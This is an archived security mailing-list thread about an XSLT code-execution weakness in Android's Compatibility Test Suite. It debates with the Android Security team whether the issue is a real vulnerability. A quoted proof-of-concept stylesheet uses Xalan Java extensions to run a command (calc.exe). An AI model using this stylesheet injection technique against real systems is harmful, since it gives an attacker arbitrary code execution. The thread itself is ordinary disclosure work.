Re: [oss-security] CVE request: remote code execution in Android CTS

[Grond <grond66 () gmail com>]

On Sun, Oct 19, 2014 at 05:20:50AM -0700, Nick Kralevich wrote:
> Nick from the Android Security team here.
>
> In the future, please feel free to send these kinds of reports to
> security () android com. Please see
> http://developer.android.com/guide/faq/security.html#issue for contact
> information.
>
> Android's Compatibility Test Suite (CTS) is an executable software
> package intended to be downloaded and run from your computer. Please
> see https://source.android.com/compatibility/cts-intro.html for more
> information.
>
> The files within the software package are not intended to be modified.
>
> If I'm reading your report correctly, you're claiming that an attacker
> who has the ability to locally modify a software package has the
> ability to get code execution. This isn't a security bug. What you're
> describing is another example of
> http://blogs.msdn.com/b/oldnewthing/archive/2007/10/31/5788080.aspx .
> You're on the wrong side of the airtight hatch.

Before trying to sweep this thing under the carpet, you might want to
ask yourself two simple questions:
Is this kind of file ever *intended* to be used as an executable script?
If the answer is "no"; then you should apply fixes.
And:
Which is more expensive? Spending a couple of hours to fix this now,
or having someone chain this together with another (unforeseeable)
bug enabling easy exploitation a few years down the road, allowing 
them to do some real damage?

Oh, and:
There really is no such thing as an "airtight hatch".

> If you are aware of ways to exploit this functionality that doesn't
> involve tricking the user into replacing a file, please feel free to
> contact us at security () android com.
>
> -- Nick
>
> On Sun, Oct 19, 2014 at 2:28 AM, Lord Tuskington <l.tuskington () gmail com> wrote:
> > CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING
> > option. See lines 60-67 of
> > cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:
> >
> > InputStream xsl =
> > CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
> > StreamSource xslSource = new StreamSource(xsl);
> > TransformerFactory factory = TransformerFactory.newInstance();
> > Transformer transformer = factory.newTransformer(xslSource);
> >
> > StreamSource xmlSource = new StreamSource(xmlIn);
> > StreamResult result = new StreamResult(out);
> > transformer.transform(xmlSource, result);
> >
> > An attacker who is able to control api-coverage.xsl could inject arbitrary
> > code into it, which would be executed. For example:
> >
> > <xsl:stylesheet version="1.0"
> > xmlns:xsl="http://www.w3.org/1999/XSL/Transform";
> > xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime";
> > xmlns:str="http://xml.apache.org/xalan/java/java.lang.String";
> > >
> > <xsl:output method="text"/>
> >     <xsl:template match="/">
> >        <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
> >        <xsl:variable name="RT" select="rt:getRuntime()"/>
> >        <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
> >        <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
> >     </xsl:template>
> > </xsl:stylesheet>
> >
> > Would pop a calc. This crosses a trust boundary because an attacker could
> > provide an XSL stylesheet that, for example, has enhanced visual layout. A
> > person consuming that stylesheet would assume it could not possibly contain
> > arbitrary code that would be executed, as it's just a stylesheet. The XSL
> > extensions to execute code should be disabled by passing
> > FEATURE_SECURE_PROCESSING.
> >
> > Regards
> >
> > Lord Tuskington
> >
> > Chief Financial Pinniped
> >
> > TuskCorp
>
>
>
> -- 
> Nick Kralevich | Android Security | nnk () google com | 650.214.4037
>
> _______________________________________________
> Sent through the Full Disclosure mailing list
> http://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/

-- 

Attached is my PGP public key.
Primary key fingerprint: B7C7 AD66 D9AF 4348 0238  168E 2C53 D8FA 55D8 9FD9

If you have a PGP key (and a minute to spare)
please send it in reply to this email.

If you have no idea what PGP is, feel free
to ignore all this gobbledegook.

Attachment: _bin
Description: PGP Key 0x55D89FD9.

Attachment: signature.asc
Description: Digital signature

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/